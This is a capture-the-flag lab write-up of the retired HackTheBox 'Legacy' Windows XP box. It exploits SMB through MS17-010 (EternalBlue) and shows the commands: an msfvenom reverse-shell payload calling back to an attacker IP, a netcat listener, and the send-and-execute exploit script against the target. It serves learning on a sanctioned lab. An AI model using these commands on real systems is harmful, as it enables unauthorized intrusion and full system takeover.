Hackthebox.eu - Retired - Legacy - Updated

Hackthebox.eu - Retired - Legacy

Recon

I've been using Threader3000 for my recons can lately. I like the quick threaded up/down scan and the automated nmap scan.

I like to convert the xml output of nmap to HTML to make it easier for me to read 

xsltproc legacy.htb.xml -o ../legacy.htb.html

So it look like just two ports open

Port 139 SMB Port 445 SMB

Just smb but we can also see from the nmap output that its likely as windows XP box

So it's just a windows xp box with smb exposed.

I tried to use smbclient to see what shares were being shared.

I kept getting a timeout so I assume no shares are open to anonymous access.

What to do now? Well how about we just google " Windows XP SMB Exploit"

Here is the first result

https://ivanitlearning.wordpress.com/2019/02/24/exploiting-ms17-010-without-metasploit-win-xp-sp3/

MS-17-010 is also known as eternal blue.

This is kind of an infamous vulnerability, not only because it was very effective, but because it appears it was actually found and weaponized by the NSA, who kept the exploit for themselves instead of letting microsoft know about it so they could patch it. Its existence came out after the Shadow Brokers stole some of the NSA tool kit in 2017. This is the exploit that was used by the wannacry ransomware to get control of systems to encrypt their hard drives and force payment for decryption.

Read up on it if you have a minute, it's a good story

https://en.wikipedia.org/wiki/EternalBlue

Ok so let's get back to the box…. 

Exploit

So thanks to the research done by Ivan on the blog we found before there is a way into this box without using metasploit. I personally don't have anything against using metasploit, it's a great tool and can help you get a job done fast. But I like to learn a little more about the exploits themselves so I like to look around for ways of doing something without using metasploit.

So Ivan found this python script which will leverage the exploit copy a file to the target computer and execute it. 

https://raw.githubusercontent.com/helviojunior/MS17-010/master/send_and_execute.py

I've made a copy of it on my kali box.

I'll follow Ivan's blog post from here on out.

First we need to make an executable to give to this python script that will get us a reverse shell.

Enter: msfvenom

Msfvenom is a payload generator for metasploit…. I know I just said I want to know more about what is going on so I try to avoid metasploit, and here I go using a metasploit tool, but this tool is kinda of "be all, end all" for reverse shell payload generation.

So we need to tell msfvenom we need a reverse shell to our ip address on the port we choose and what type of system to generate the payload for.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=5555 EXITFUNC=thread -f exe -a x86 --platform windows -o EBlue.exe

So let's break down this command a bit  

-P windows/shell_reverse_tcp this is the payload type, in our case a windows reverse shell over tcp

LHOST 10.10.14.6 this is the ip address of where we want to establish a connection

LPORT 5555 this is the port number where we want to establish a connection

EXITFUNC  THREAD THREAD which basically says run this in a sub-thread and make a clean exit when done

-f exe what format we want the payload to be, we selected exe since its a windows computer

-a x86 the type of architecture to generate the payload for  (x86 or x64)

--platform windows the type of OS

-o EBlue.exe where we want the output of the generated payload to go

So now that we have our executable we will use the script mentioned on the site that will copy via smb to legacy and execute it for us.

https://github.com/helviojunior/MS17-010

First let's set up our listener in case we are successful.

nc -lnvp 5555

The python command would be 

python SendandExecute.py 10.10.10.4 ./EBlue.exe

Which is the name of the python script to run with the IP of legacy and the name of the executable we want to send.

We get some python errors about importing a module named impacket.

Couple of things here. The script is written for original python so we will need to install impacket for python

python -m pip install impacket

We also need to make sure that we have the python script mysmb.py in the same folder we are executing from so you can get that script from this location.

https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py

Now when we run our command again.

No errors and it looks like it worked, let's check our netcat listener.

We got a shell… whoami doesn't work. But we are in as system and can grab both flags for this box.